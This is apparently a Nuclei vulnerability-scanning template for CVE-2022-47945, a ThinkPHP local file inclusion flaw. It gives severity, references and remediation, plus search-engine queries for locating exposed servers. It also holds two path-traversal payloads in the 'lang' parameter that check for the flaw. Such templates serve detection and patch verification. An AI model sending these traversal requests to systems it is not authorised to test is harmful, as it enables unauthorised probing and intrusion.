Thinkphp Lang - Local File Inclusion

id: CVE-2022-47945

info:
  name: Thinkphp Lang - Local File Inclusion
  author: kagamigawa
  severity: critical
  description: |
    ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    Apply the latest security patches and updates provided by the Thinkphp framework.
  reference:
    - https://tttang.com/archive/1865/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47945
    - https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
    - https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47945
    cwe-id: CWE-22
    epss-score: 0.15505
    epss-percentile: 0.96405
    cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thinkphp
    product: thinkphp
    shodan-query:
      - title:"Thinkphp"
      - http.title:"thinkphp"
      - cpe:"cpe:2.3:a:thinkphp:thinkphp"
    fofa-query:
      - header="think_lang"
      - title="thinkphp"
    google-query: intitle:"thinkphp"
  tags: cve,cve2022,thinkphp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?lang=../../thinkphp/base"
      - "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Call Stack'
          - 'class="trace'
        condition: and

      - type: status
        status:
          - 500
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